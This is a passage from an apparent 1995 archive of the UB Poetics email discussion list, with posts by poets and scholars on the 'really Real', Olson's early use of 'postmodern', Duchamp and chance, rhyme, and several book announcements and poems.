Ganesh, all cock
and axe, Him in
skin, right foot stamp on
Sloth, fear-not
any thing, left foot lifted--_gaja_
--delight

(from Max III.78)

Say those last 8 lines real carefully and you can begin to hear "the universe unfolded in sound" and glimpse the wall of his city

Mike
[redacted]

↑ Index

214. cris cheek
Re: and desire / the 39 steps
Fri 12 May 1995

---

now is the season for light. lines of hot skin and leisure spills. exhuberant buds trumpet green domestic slips breath between scented wet fingers. beneath beach - houses cooked by profusions of moss over failure a midsummer fog forms allure

↑ Index

215. cris cheek
Re: and desire / the 39 steps
Fri 12 May 1995

fear not. and captains of restraint. chances are honey that hover jack home. uncurling ferns will occupy this caption writ in red. a rude calling its voice out past the melting poles to bloom. bruising his life from him.

↑ Index

216. Sheila E. Murphy
Re: New Publications
Fri 12 May 1995

At Charles Bernstein's suggestion, here are two publications I'll make you aware of: one half new; the other, just off the press:

PURE MENTAL BREATH was brought out by Gesture Press at the end of 1994. Features photography by Blaine Spiegel and Poetry by me. 81 pages of text. Ordering information: Nick Power, Editor. Gesture Press 68 Tyrrel Avenue Toronto, Ont. Canada M6G 2G4. Price in U.S. is $12.00, I believe. And $15.00 Canadian, if I'm not mistaken. AVAILABLE THROUGH SMALL PRESS DISTRIBUTION.

A CLOVE OF GENDER by yours truly just emerged from Stride Press. 158 pages. Ordering information: Rupert Loydell, Editor. Stride Press. 11 Sylvan Road, Exeter, Devon. EX4 6EW England. English price 7.95, so I assume the U.S. price will be about $16.00, but don't have final information yet. AVAILABLE THROUGH SMALL PRESS DISTRIBUTION.

↑ Index

217. cris cheek
Re: chance/trust
Fri 12 May 1995

> *cris, hi: pollock was right on the mark when he said that. but then he was a high thinking painter, too.*
>
> *take care,*
> *carl*

Hi Carl - as one Duchamp 'fan' to another - in what ways can thinking be 'high' painting?

love and love
cris

↑ Index

218. **Wystan Curnow**
Re: chance/trust
Fri 12 May 1995

Dear Cris 'n Carl, Just to extend this to another generation of high thinking-- as in 'high steppin'' I took it--Sigmar Polke, and his famous HOHERE WESEN BEFAHLEN: RECHTE OBERE ECKE SCHWARZ MALEN! (Higher Beings Command: Paint the top right hand corner black!) c.1966. Apart from these words, the canvas is blank except for its black corner on the top right. he also did a painting of flamingos which was accompanied by the following text (it was in german) I stood in front of the canvas and tried to paint a bunch of flowers. Then I received fromhigher beings the command: No bunches of flowers! Paint flamingos! At first I tried to continue painting. But then I realised that they meant business.

Wystan

↑ Index

219. **Robert Drake**
Re: Self-promotion
Fri 12 May 1995

---

alan--

could you give us a bit more info about your "Outlaw to Classic..." release?

lbd

↑ Index

220. **Gary Sullivan**
Re: really Real
Sat 13 May 1995

On Fri, 12 May 1995, Ryan Knighton wrote:

> *John Byrum throws out the question "How much Real is transformed via poetry?"*
>
> *I favour Spicer's idea of correspondings, as put in "After Lorca". The idea that the real is not in poetry, but that poetry creates corresponding times and places. It carries the real across making this lemon correspond with your lemon. I suppose there isn't transformation happening, as the real is not being treated, but seeking some kind of agreement, maybe.*

Dear Ryan:

REFUSAL OF THE REAL

The world must be mediated by art--fat
Inklings, cruelty to admire, & tears
Falling into lines of human habitation.
Why is the highway straight? The easier
To carry battle-goods across the Rock-
Ies. Day breaks through this thin lens,
From our mouth to yours, the taste of a
Piece with the style. There are only two
Kinds of people in this world: Those
Herding animals & those of us clinging
To buses, sweet noise wrapped around
Our every neck. Waking up a thousand
Times a day, we just move along, fists
Full of beer, bees, whatever. Rattling
Light, the mouth a birdcage, words birdshot through this stable world of
mostly solid objects, always jumping out of
Hand. Head spinning down the spineþ& what else can you do? It's not about
accumulation, & it's really nothing like
Love; It's about change drilling up through the earth, flower noise,
intense levels of energy below particularities on a
Shelf fanning out by itself. Are we willing to accept any
situation--however false--and make it true? Any piece of writing
Patterned to the effect that everyone is everywhere in bondage, this
substitution of language. But where will we go to-
Night? You were watched as you took this upstairs to your room, if
that gives you any idea; the brightness of a forgotten
Sun is placed gratis at our disposal. Countless are the beauties of land
& sea we've already seen, shining brilliantly in the
Light of our eyes. Take a little sun, & make love when you want to make
love, however long it's kept. Pool ideas into
Mail, literally, & grow vague. The stone's poisonous vapors are as yet
unspent, and bees & moths lay dead in such
Heaps that we cannot see the color of the earth beneath. We don't have to
get every detail. Do we? To the sides of the
Road, the country is flat, the soil dry & rectangular. We are, as far
as we know, the only ones here. The only thing the
Matter with this is that, when we leave, "it" will still be here. Its
direction. What separates men is not a question, but
Water, smiles against each evened shore. Someone to stand with for a
distance. Someone twisting through every previous
Example. Dreams & memory on the stairs, other windows facing it--yet this
still fails to explain how objects fly through

Air, burst into flame: that is, fails to ex-
Plain (a) anything, and/or (b) what, if
Anything, we can do about it. To insist,
On anything, whoever's driving, who-
Ever's giving signals, we laugh with our
Teeth, veer earthward toward its feeble
Salute. Back on our back, the battle echo-
Ing overhead near the exit. The waters
Part; a belch shakes you; a lot of talk
Follows. Silence is convincing, a bond.
The infinite trembling of stars mocking
Emptiness, indifferent to our beseeching
Hands, careless of the consequences of
What could never, will never take place.

Yours,

Gary

↑ Index

221. **Jake Berry**

Re: really Real

Sat 13 May 1995

"How much Real is transformed
via poetry?"

Poetry is the unfolding courses of the real. Jack Foley, in his STANZAS FROM DJERASSI says,

to stay
at the edge
of blackness
to
keep
faith
with
light

Poetry is the real projecting in one of the million directions into the unknown, shedding light, advancing outward. Poetry is the real at the threshold, authenticity before reality checks in.

↑ Index

222. Jake Berry
Re: chance/trust
Sat 13 May 1995

re Duchamp, and chance/ trust,

imagine this space without the projection

↑ Index

223. George Bowering
Re: Ginsberg's rhymes
Sat 13 May 1995

If you read aloud, in Latin, and carefully, I think that you will find that Petrarch was writing free verse.

↑ Index

224. Kenneth Goldsmith
call for spoken word/sound-text works
Sat 13 May 1995

I am a producer and DJ at a New York radio station, WFMU-FM 91.1. We are 100% Freeform and 100% Listener-Sponsored. (For what it's worth, for the past 4 years Rolling Stone has named us as the best radio station in the US).

I run a weekly show featuring spoken-word,sound-text works, New Music, and experimental pop. Good spoken-word/sound-text work is hard to come by and I would like to encourage all who engage in this activity to send me tapes, CD's, LP's, reel-to-reels, or DAT's for broadcast.

Kenneth Goldsmith
611 Broadway #702
New York, NY 10012 USA
ph/fax [redacted]

I have already featured the _Live At The Ear Inn_ CD several times as well as work by Jackson Mac Low, Joan La Barbara, Gregory Whitehead, Jacki Apple, Alison Knowles, Coyle & Sharpe, Ulla Dydo on Gertrude Stein, Gertrude Stein, Ezra Pound, James Joyce, Decio Pignitari, David Antin, Wildman Fischer, John Cage, Allen Ginsberg, Marcel Duchamp, Paul Dutton, Richard Klein & Mark Hosler, Negativland, Derek Bailey, Henri Chopin, F.T. Marinetti...the list could go on forever but you get the point. I tend to broadcast stuff that I love over and over.

I am also interested in getting my hands on historical/obscure recordings for airplay. If anyone knows of great resources for this sort of material please contact me.

Thanks,

Kenneth

↑ Index

225. Gary Sullivan
Re: really Real
Sat 13 May 1995

Whoops! Sorry about the totally fucked up formatting job. Those "90=" dealies were *not* intentional. (But, admittedly, they're real.)

↑ Index

226. Carl Lynden Peters
Re: chance/trust
Sat 13 May 1995

---

hi cris,

lets not even think in terms of painting, but to paraphrase levi-strauss, art's only as good as it thinks.

take care,
carl

↑ Index

227. Carl Lynden Peters
known/real/unknown
Sat 13 May 1995

--just to add this to the discussion on poetry and the real ("jouissance!"), is any one familiar with this essay by canadian artist vera frenkel: "Benign Ignorance"? it first came out in a 1977 edition of what was then artscanada (now canadian art, i think). "Benign ignorance can be described as a state of unfocused awareness that permits us to link the confusing world with the deep metaphoric formulations inside us which are strategies for its apprehension. To reach these and give them form in art requires setting knowledge aside, reclaiming it later as necessary. It follows from this that a work of art is as good as the amount of knowledge and ignorance it holds in balance. The more conflicting knowledge a work can hold suspended in a transforming ignorance, the better it teaches us to see" (27).

interesting to note that the opening epigram is lionel kearns' great concrete poem: "The Birth of God."

carl

↑ Index

228. Carl Lynden Peters
Polke
Sat 13 May 1995

Wystan,

--enjoyed _reading_ Polke's painting, as you articulate it. He's a radical painter, because he doesn't think like a painter

take care,
carl

↑ Index

229. Aldon L. Nielsen
Re: Nothing
Sat 13 May 1995

Here we go again, to paraphrase our memoriuos ex-president, Ronald X.

Please! Before anyone again refers to the notoripus"nothing outside the text" line, go read Michael Berube's discussion of the translation of that line in his book _Public Access_, (Verso eds.)

For a long list of philosophers who have had something to say about nothing, see the Encyclopedia of Philosophy, where nothing is summed up rather nicely.

Ed, is Derrida still outside your old house, or did he follow along to the outside of your new place?

↑ Index

230. Aldon L. Nielsen
Re: promoting self & other
Sat 13 May 1995

---

lbd -- Alan's probably already answering your call for a description, so I will simply add a testimonial. I have heard Alan present individual sections of his critical study of anthologies over recent years, and the work has been consistently insightful and valuable. I would think it just the thing you'd like to read, given your historicizing efforts in poetry.

& a plug of my own --

Writing between the Lines: Race and Intertextuality. pub'd last Summer by U of Georgia Press at an unconscionable price (but cheaper than Alan's hardback!) -- not yet in paper so look for it in the library at your nearest college. -- next one will be in simultaneous paper & cloth from Cambridge,, next year.

Do all Sun Ra fans know that the peculiar address he published some years ago in Nate Mackey's Hambone is now available on CD, along with a concert from the same era, ?? title is Live from Sounscape, on DIW.

↑ Index

231. kathryne lindberg
Re: Olson and rhyme
Sat 13 May 1995

I can't seem to remember right off hand, bookless, where Olson uses "postmodern." Jamming to finish a piece of cyberspace before Johnnt Mnemonic comes out at the local cinema, I hope you will forgive this simple query. My flu prvents my crossing town to get the book from the office. So, where does Olson use the term "postmodern" for his now? Thanks. By the way, his engagement of Norbert Wiener is most interesting and not.

↑ Index

232. cris cheek
Re: Aleatoric Spree
Sat 13 May 1995

> *It is important to virtually evaginate hamburger*

John I'd like to take issue with you on this matter but I agree. More ple3ase. Nothing but admiration.

love

cris

↑ Index

233. Bob Perelman
Re: Olson and rhyme
Sat 13 May 1995

As I remember, Olson uses postmodern in a letter to Creeley in 1951 (52?); in Vol 1 (Vol 2?) of their correspondence. On some scrap of paper somewhere I may have the page number; I looked it up once.

Bob Perelman

↑ Index

234. **kathryne**
Re: Olson and rhyme
Sat 13 May 1995

Thank you, Bob, I think I do have those letters here at home, too. Good to hear your voice; I am sure Olson would say "voice." Perhaps I shouldn't, then. I am hoping that I find another of those paper scraps if it turns out not being the correspondence. Pretty sure, though, it's not the "Mayan Letters." I'll give this a shot.

↑ Index

235. **Marisa A Januzzi**
atavistic ref. to rhyme...
Sun 14 May 1995

Stein's
lines
misaligning
chime
inclining
rhymes

Words for H.T. Kirby-Smith, explainer of Dylan Thomas poems (I thought the lines in "Fern Hill" got small at the belly of each stanza to connote navel-gazing, but wondered what I was missing)

speaking of revenence

Does rhyme give a structure to nostalgia?

Does anyone read Edna Millay any more ("We were very young, we were very merry") whose work typifies the problem, but also occasionally breaks out of it?

Bye for now--
--Marisa

↑ Index

236. **Alan Sondheim**
Re: atavistic ref. to rhyme...
Sun 14 May 1995

Well, I read Edna, on the ferry and elsewhere, and don't find a problem there, it's still east-village now.

If rhyme gives structure to nostalgia, I'd think it's on the level of repetition in neural networks at the first, also the infolding or implicate order of the poem, collapse into auto-fetishization, neither sound nor meaning: not-language, incantation. But the buildup of a structure in the mind, and not memory in the sense of recall, but in the sense of the fit of a frame.

Would always read Edna. By the way, some of her best work is in her translations from Baudelaire. Not Baudelaire, not Edna, but definitely late-night, like the Smiths who are playing in this room as I write.

Alan

On Sun, 14 May 1995, Marisa A Januzzi wrote:

> *Stein's*
> *lines*
> *misaligning*
> *chime*
> *inclining*
> *rhymes*
>
> *Words for H.T. Kirby-Smith, explainer of Dylan Thomas poems (I thought the lines in "Fern Hill" got small at the belly of each stanza to connote navel-gazing, but wondered what I was missing)*
>
> *speaking of revenence*
>
> *Does rhyme give a structure to nostalgia?*
>
> *Does anyone read Edna Millay any more ("We were very young, we were very merry") whose work typifies the problem, but also occasionally breaks out of it?*
>
> *Bye for now--*
> *--Marisa*

↑ Index

237. Kevin Killian
body metaphors
Sun 14 May 1995

> *Anyone else interested in the chances writers take in using metaphors about the body?*
>
> *Ira*

Ira,

Totally, totally.

I learned how to write about the body from gay men, I learned how to write about my own body from gay men. I remember reading a passage in one of Kevin's pieces where he compares his penis to the logo of a world's fair--and it was like click, shift--I got it. And my writing changed right there on the spot.

I'm not sure how to describe it, but it's certainly not about description, or equivalences even. The text as its own seductive surface.

XOX,
Dodie

↑ Index

238. H. T. KIRBY-SMITH
Maximissima
Sun 14 May 1995

If you read Petrarch's sonnets in Italian in just the right way they sound exactly like Olson, especially the famous one in which he addresses Laura as "cara maximissima."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

↑ Index

239. I.LIGHTMAN
Re: really Real
Sun 14 May 1995

Gary Sullivan, you are the *best*! Thanks for the poetry, Ira

↑ Index

240. I.LIGHTMAN
Re: Aleatoric Spree
Sun 14 May 1995

Herb (and Cris)

As I said, thanks for all the stuff you posted about Cage, which has been really illuminating; and thanks to John Byrum whose post on Jackson MacLow, chance

and sentimentality was great, as Cris has already said (to me anyway). I hope you don't really mind that I'm retreating, it's what I *want* to do.

I'm a fan of lots of MacLow's Pieces of Six book, don't know about "sentimentality" as what I think is likeably found or avoided, *in* the text, I thought sentimentality was a good description of the hopes and claims invested in the genre at the point MacLow ducked it, I like the freshness, the feeling of discovery, in the Pieces of Six. But one thing that's been on my mind since I read it has been the way that in the explicit sex scene in the book MacLow uses phrases like "then I was inside her", and I'm amazed that explicit sex scene language thus seems to evade MacLow's concern elsewhere through the book to see language as surface sometimes, to take metaphors literally and explore why metaphors have mystified themselves into realist "descriptive" language.

I mean, surely he doesn't mean his entire body from head to toe *was* inside a sexual partner's entire body from head to toe, especially without specifying how this happened!Transporter beam, phase-shift?

Anyone else interested in the chances writers take in using metaphors about the body?

Ira

↑ Index

241. Ryan Knighton
Re: really Real
Sun 14 May 1995

Well I guess this is aleatoric realism. thanks for the wonderful reply.

Gary Sullivan writes:

> *Whoops! Sorry about the totally fucked up formatting job. Those "90=" dealies were *not* intentional. (But, admittedly, they're real.)*

↑ Index

242. Ryan Knighton
Re: body metaphors
Sun 14 May 1995

---

i loved Nichol's Selected Organs for this reason. Teh body was a narrative into itself.

↑ Index

243. **Aldon L. Nielsen**
Re: it's hard to get the news
Sun 14 May 1995

This morning's LA Times Book Review reprints a poem by Rae Amrantrout! You New Yorkers can get the LA Times even if you can't find the book.

Also -- re: Olson's postmodern -- think the early parts of the ND Selected also use the term -- book is at office, so I can't check till tomorrow.

↑ Index

244. **Chris Stroffolino**
Re: really Real
Sun 14 May 1995

Is it just me, or when others see this discussion "really Real" does that song "Spanish Harlem Incident" start dancing in one's (I'll say) head ---"So I can know if I am really real." chris

↑ Index

245. **Tim Waples**
Re: really Real
Sun 14 May 1995

According to Chris Stroffolino:
>
> Is it just me, or when others see this discussion "really Real" does that
> song "Spanish Harlem Incident" start dancing in one's (I'll say) head
> ---"So I can know if I am really real." chris

Chris: It's just you. For me, it's Van Morrison's "You're My Woman," which goes extra-heavy on the reallys. That's how you know it's poetry.....Tim

↑ Index

246. **George Bowering**
Re: really Real
Mon 15 May 1995

I dunno about all that talk re songs that remiond one of the "really real". I havent spent much time listening to kids' music, so I have always tried to get the real somewhere else.

Like Randolph Scott movies!

↑ Index

247. George Bowering
Re: Olson and rhyme
Mon 15 May 1995

I am curious as to whether Olson's Catholicism influenced his use of the term "postmodern" 44 years ago---because the Church used the terms "modernism" and "postmodernism" before the First World War.

↑ Index

248. Kevin Killian
Re: really Real
Mon 15 May 1995

It's very difficult and bizarre to keep seeing all these subject lines with the word Real in them, capitalized no less, since, as most of you don't seem to know, that is the name of my Talsiman House book. These subject lines make me feel very definitely unreal.

Real.

It's a word I've thought a lot about. I don't see how it could pass from anyone's lips or slip off the tips of anyone's typing fingers, without the deepest of irony.

That's my two cents.

Dodie Bellamy

↑ Index

249. maria damon
Re: Olson and rhyme
Mon 15 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I am curious as to whether Olson's Catholicism influenced his use of
> the term "postmodern" 44 years ago---because the Church used the
> terms "modernism" and "postmodernism" before the First World War.

Interesting! can you give us more information on this? in what context?--maria d

↑ Index

250. Bruce Comens
Re: promoting self & other
Mon 15 May 1995

First the other: Poetics list readers will likely enjoy Doug Gunn's new book of stories, _The Invention of Violence_, available for $11.95 with free postage and handling from Cinco Puntos Press, 2709 Louisville, El Paso, TX 79930, of [redacted]. 160 pages of work, blurbs by Creeley and Olson (Toby, not Charles): "I know of no other recent writer whose language has captured the world with such authenticity. Reading Douglas Gunn's fiction, I think of John Berger on van Gogh: 'Wherever he looked he saw the labour of existence; and this labour, recognized as such, for him constituted reality.'"

Now the self: _Apocalypse and After: Modern Strategy and Postmodern Tactics in Pound, Williams, and Zukofsky_, pub. 1995 by the University of Alabama Press. $24.95 in paper (blurbs included)--and it actually seems to be available in the Borders Book Chain.

I agree with Charles (Bernstein, not Olson): there should be more of this. Awkward as it is to plug one's own work, it's good to hear directly about others' books.

Bruce Comens

↑ Index

251. Tom Mandel
Re: unsolo locus
Mon 15 May 1995

Yes, let me concur about Locus Solus; this magazine, along with Art & Literature, is (to me) the most essential reading ofthe sixties.

Tom Mandel

↑ Index

252. Edward Foster
Re: really Real
Mon 15 May 1995

---

this misreads Spicer and the privilege of correspondence. correspondence is neither creation nor transformation but recognition. even emerson, however absorbed he was with mutability, knew that. nor is there seeking, which is academic, willed.

↑ Index

253. **Kevin Killian**
Re: really Real
Mon 15 May 1995

> *yes --and to add to the maze of allusions, remember "it's got to be REAL" as the*
> *theme song of Paris is Burning, in which the criteria for winning drag-contests was "realness" --i.e. successful simulation --to the point of boundary-blurring --calling "reality" into question. --then there's also the california version, where "real" the adjective functions as "really" the adverb, so that things are "real real."*

Very excellent, Maria.

--Dodie

↑ Index

254. **Edward Foster**
Re: New Publications
Mon 15 May 1995

---

the new talisman books include Gerrit Lansing's _Heavenly Tree / Soluble Forest_, Joseph Donahue's _World Well Broken_, and Gustaf Sobin's _Selected Poems_, all in bookstores now or soon. so they're there, reason for joy!

↑ Index

255. **Edward Foster**
Re: Nothing
Mon 15 May 1995

---

well, aldon, D is hard to shake, and yes, he did try camping out there on the street, screaming, there's no outside the house, to whomever come who may, so we bundled him for recycling, which, given his ideas, was exactly what he deserved.

↑ Index

256. **Robert Kelly**
Re: Olson and rhyme
Mon 15 May 1995

My guess is that Olson would have known vaguely of the "Modernism" the Church berated at the turn of the Century, that French thing with its English influences, but I don't think that knowledge would have shaded his sense of Modernism as the Joyce/Pound thing. (I can't in fact locate in my reading or memory any period of Olson's life when he studied _as_ a Catholic; his

schooling was secular, and I never noticed the aura of Catholic academic intellectualism about him. And Modernism was not something inveighed against in church pulpits so much as in editorials in the Catholic press. Though Modernism was _always_ a bad name.)

As far as I can tell, Postmodernism was first used by the Revd Bernard Iddings Bell, an Episcopal divine buried a mile from me. I've seen the reference, it dates to well before the man in the street thought of Modernism in any but the ecclesiastical, Gallican, anti-ultramontane position.

==========
Robert Kelly
Division of Literature and Languages, Bard College
Annandale-on-Hudson NY 12504
Voice Mail: [redacted] Box 7205
[redacted]

On Sun, 14 May 1995, George Bowering wrote:

> *I am curious as to whether Olson's Catholicism influenced his use of the term "postmodern" 44 years ago---because the Church used the terms "modernism" and "postmodernism" before the First World War.*

↑ Index

257. **Jeffrey Timmons**
Re: Olson and Catholicism
Mon 15 May 1995

Just a note:

I don't believe he discusses Olson, but Paul Giles' Catholic Fictions is a good source on the influence of catholicism on such figures as Fitzgerald, Warhol, and, even Mapplethorpe (if I'm remembering correctly).

Jeffrey Timmons

↑ Index

258. **Carl Lynden Peters**
Re: really Real
Mon 15 May 1995

> *this misreads Spicer and the privilege of correspondence. correspondence is neit her creation nor transformation but recognition. even emerson, however absorbed he was with mutability, knew that. nor is there seeking, which is academic, will*

> *ed.*

no. to re-cognize is to create. ok, it's to re-create. there are no artists

↑ Index

259. **David Ball**
Re: unsolo locus
Mon 15 May 1995

I agree: Locus Solus great journal. Having a poem in there pleases me still.

YOUNG IN THE SIXTIES
aka David Ball

↑ Index

260. **Edward Foster**
Re: really Real
Mon 15 May 1995

---

back to that really Real, if in fact "prose invents--poetry discloses," does it follow that the Real is that which does not alter? I think Spicer's lemon is a nice twist on Mallarme's flower not in any . . . .

↑ Index

261. **maria damon**
Re: really Real
Mon 15 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> It's very difficult and bizarre to keep seeing all these subject lines with
> the word Real in them, capitalized no less, since, as most of you don't
> seem to know, that is the name of my Talsiman House book. These subject
> lines make me feel very definitely unreal.
>
> Real.
>
> It's a word I've thought a lot about. I don't see how it could pass from
> anyone's lips or slip off the tips of anyone's typing fingers, without the
> deepest of irony.
>
> That's my two cents.

>
> Dodie Bellamy

yes --and to add to the maze of allusions, remember "it's got to be REAL" as the theme song of Paris is Burning, in which the criteria for winning drag-contests was "realness" --i.e. successful simulation --to the point of boundary-blurring --calling "reality" into question. --then there's also the california version, where "real" the adjective functions as "really" the adverb, so that things are "real real." --maria d

↑ Index

262. **Chris Stroffolino**
Re: really Real
Mon 15 May 1995

---

yeah tim and then there's "I've Been Working" which repeats the word "woman" I think 8 times in crescendo succession....

↑ Index

263. **Ron Silliman**
Re: really Real
Mon 15 May 1995

It's the real thing. It's Coke.

↑ Index

264. **Aldon L. Nielsen**
Re: really real postmodernity
Tue 16 May 1995

Ah, yes -- there it is, just as I remembered it -- on pg. 44 of the ND Olson Selected Writings, in the piece titled "Quantity in Verse, and Shakespeare's Late Plays," Olson refers to "a man as post-modern as Lawrence . . ."!!! Jarrell had by that time already used the word, indicating to us that Altieri didn't really have to "Enlarge the temple" that much to get his guys in --

Second most annoying phrase of my sixties youth -- heard at high school with some frequency -- "It was real!"

store near my office sells "real margarine"

and that was to have been "Armantrout" in my last, not "Amrantrout," which would be some evil conflation of David and Rae, a mistake I would not want to make -- sorry Rae; you can call me alan nelson next time we meet, like evrybody else does,,,,

↑ Index

265. Lindz Williamson
Hola
Tue 16 May 1995

I'm back from Mehico and my cross Canada adventure. Picked up a copy of Caprice in a Used book store on Queen St. Nice cover, did you pick it out George? Might pop into pub night on Friday, tell me if you're leaving town this weekend Ryan. Joanne's coming by tomorrow to get the low down on my travels. Can someone fill me in on the latest list topics so I can catch up? Thanks

Lindz

↑ Index

266. John Byrum
Re: Aleatoric Spree: HAMBURGER
Tue 16 May 1995

Chris:

Re the virtual evagination of hamburger line I let out awhile back: would love to comment on it but now can't remember the specific message it was addressing. Do you?

Best,

John

↑ Index

267. Tony Green
Re: against quietism
Tue 16 May 1995

Andrew Joron writes 10 May: "celebrating the virtues of Zen and the Aleatory, I'm afraid we may be losing sight of the still-important notion of struggle, as opposed to the Zen idea of accepting whatever the Aleatory hands out. "I would rather validate an Activist stance in both poetry & politics, and promote the idea that the Real is something to be transformed. "The Aleatory in this light becomes a provocation rather than an end-point. It's only through resistance that we are led to wonder."

There is an old dubious myth that "acceptance" must be somehow passive. "Working with the given" (i.e. not wishing for the stars, accepting the actualities) wd be an attitude that could be useful. I don't know whether that is

out of accord with Buddhism or Taoism, but it sounds like a sensible way of carrying on.

I'm off out again for a few days, thought I'd drop by and pick up the mail (119 posts). Sandra Braman's been here for South Pacific Economic Conference and gone and I forgot to buy her a hokey-pokey ice-cream

And this is what I find when I come back in?

↑ Index

268. **Tony Green**
Re: To all appearances... (fwd)
Tue 16 May 1995

Dear Carl,
I've got no further with the labyrinth that Duchamp specifically mentions which is the one "beyond space and time". The puzzle is not what is a labyrinth but what is Marcel doing beyond the frame of space and time, and trying to find his way out of that. I can only guess that this is a recognition of a state of consciousness, from which he has to find his way out, to the particulars of these dimensions of the world.

" the realization of perfection "... ??

.
>
> Strikingly, references to mediumistic beings generally refer to shamans.
> (This links back, of course to Tim's work and the book Skin, Bones and
> Stones [exact title?].) In general, it would mean the transcending of
> material conditions (time and space) to commune with the divine, receive
> inspiration, ...
>
Who knows?
>
> The clearing will definitely be a transformed and transmuted place on
> coming out from the labyrinth -- very much a place of creativity, and it
> would awaken and instill the drive for profound expression.
>
> Thus in outling the above, I would say that this statement from Duchamp, is
> very powerful, compact, and comprehensive, providing a key to us on the
> deeper how and why of creative work.
>
> (Penelope Doob Reed, a York U. English professor, has written a helpful
> book on labyrinths/mazes, The Idea of the Labyrinth from Classical

> Antiquity through the Middle Ages, 1990. I have heard of another book, The
> Maze in the Mind and the World, by Donald Gutierrez, but I have not read
> it.)

carl

↑ Index

269. John Byrum
Re: really Real, really
Tue 16 May 1995

I got glimpses of the really real when I used to work in construction, standing at the bottom of a 10-foot deep trench installing sewer pipe.

Now I get glimpses of same seeing torn-apart bodies of deer, dogs or other animals on the interstate on my way to work, also looking down at the dinner-plate.

Funny how the real tends to invade civilized life now & again. We usually manage just fine without it, though.

John

↑ Index

270. Tony Green
Re: lyric and/or
Tue 16 May 1995

Dear Chris Stroffolino,
"...but knot for me".

↑ Index

271. Tony Green
Re: Superleague
Tue 16 May 1995

Dear Mark Roberts,
There I was apologising for getting it wrong and being unreliable. I did hear it right first time, The Warriors has been signed by Rupert as a team (then they pretethey hadn't said it, which threw me. Moral never believe anything, even when you're in the room with them.)
Cheers

↑ Index

272. **Tony Green**
Re: No change / exchange
Tue 16 May 1995

Dylan Thomas also made use of patternings close to Welsh bardic practice. An old friend, Robert Arnold, now dead, wrote abt this in convincing detail in the late 1950's. But, I think unpublished.

↑ Index

273. **Ryan Knighton**
Re: really Real, really
Tue 16 May 1995

I find most movies are about the reel.

↑ Index

274. **George Bowering**
Re: Hola
Tue 16 May 1995

Heey, Lindz; since yr using the whole network to write me messages, I have to remind you about what happens when you do that. When you mentioned that Willy was paying for brunch at Art's Cafe, it went out on the network, and dozens of hungry poets and professors arrived in Vancouver. Art had his limo at the airport, and Willy had to take out a small loan at the Bank of Montreal to pay for all those eggs and toast, etc! He;s really burned, so watch out for him on Friday at TPN.

↑ Index

275. **George Bowering**
Re: promoting self & other
Tue 16 May 1995

People might forgive my latest novel called _Shoot!_, from Key Porter Books, Toronto. It will be coming out in the U.S. from St. Martin's, but I dont know when. The contract says, as they do, w/in 18 months.

↑ Index

276. **Jonathan A Levin**
Re: Olson and rhyme
Tue 16 May 1995

Kathryne & interested folk:

I remember Joe Riddel saying it (Olson's use of the word post-modern, which I believe Olson was said to have hyphenated) was in The Special View of History, but not having a copy I can't say just where. Hope that helps.

Jonathan Levin

↑ Index

277. Prof. R. Prus
Olson/postmodernism
Tue 16 May 1995

Olson uses the term postmodernism in a letter to Creeley in 1951. It appears in volume 7 of the correspondence (I don't have the book here to give the exact page). Randall Jarrell uses the term earlier (1948, I believe) in a discussion of Lowell's Lord Weary's Castle which he defines as "post or anti-modernist"

↑ Index

278. Alan Golding
Outlaws, Classics, and others
Tue 16 May 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear all--

Since luigi posted his request for a bit more info. on From Outlaw to Classic on the list rather than backchannel, I thought I'd respond publicly, in case others are interested. If you're not--sorry, bear with me, it'll only be one paragraph.

So: the book's a fairly materialist (though not in any strictly Marxist sense) literary history of canonical issues in mostly twentieth-century American poetry. "Mostly" because one of the five chaps. goes back to the late eighteenth century, the rest focus on post-1900. "Materialist" in that it tries to come at questions of canonicity via engaging specific texts, conflicts, lives, institutional politics, etc. rather than via a more theoretical take; perhaps I can clarify by contrast--it's pretty much the opposite end of the spectrum from Barbara Herrnstein Smith's Contingencies of Value, Charlie Altieri's Canons and Consequences, or even much of John Guillory's work, wonderful though those books are in various ways. More like Cary Nelson's Repression and Recovery probably. Chap. 1 is a history of American poetry anthologies from the Revolutionary Period up to Weinberger and Hoover (only a few pages on these two, because the Hoover text wasn't even out when I went to press); chap. 2 argues for a synthesis of two models of canon formation, the aesthetic (briefly,

the argument that poets make canons--Vendler, Bloom, other) and the institutional (various forms of literary instititution and those affiliated with them make canons). This chap. has an extended (though reasonably polite, I think) argument with Vendler and Blom that might appeal to readers of this list, and a section on the notion of self-canonization using Berryman as an example. Chap. 3: "The New Criticism and American Poetry in the Academy"--on the New Crit. construction of a modernist American canon--chap. sections are "Evaluation and the Institutional Politics of New. Crit.," "Amateurism, Professionalism, and the Poet-Professor," "The New Crit., Whitman, and the Idea of a National Poetry" (anti-Whitmanism as a factor in New Crit. canon-making), and a section on Brooks and Warren's Understanding Poetry. Chap. 4: "Little Magazines and Alternative Canons: The Example of Origin"--on the first series of Origin, and the place/role of little mags. in poetic canon formation. Chap. 5: "'Provisionally complicit resistance': Language Writing and the Institution(s) of Poetry"--on how we can situate LP in relation to certain aspects of contemporary institutional/critical politics, partly via "close readings" (remember them?) of two Charles Bernstein poems.

Jeez, I did go on, didn't I? Sorry. Aldon--thanks for the kind plug from elsewhere! It does feel awkward to plug one's own work, but personally I'm very grateful for the information I've gotten about other books the last few days, and hope everyone will keep this up.

Kathy L.--one early place that Olson used "pomo" is in a fall 1952 course description for the BMC catalog. However, the earliest use by CO that I have a note of handily is a letter to Creeley Aug. 9, 1951 (Correspondence vol. 7, p. 75). Maybe someone knows an earlier one. I don't have my notes on the unpublished essays to hand, and can't remember if "pomo" shows up there. Olson's use of the term wasn't the first use, period, and not even the first "literary" use, but I figure you know that.

Marisa--I even teach Millay. From Am. Lit. surveys to graduate seminars. But then I'm perverse.

Alan

↑ Index

279. Carl Lynden Peters
Re: really Real
Tue 16 May 1995

---

can't argue with that.

c

> *uh-uh, carl. there's more to it than recycling.*

↑ Index

280. **Edward Foster**
Re: really Real
Tue 16 May 1995

uh-uh, carl. there's more to it than recycling.

↑ Index

281. **Carl Lynden Peters**
Re: To all appearances... (fwd)
Tue 16 May 1995

> *Dear Carl,*
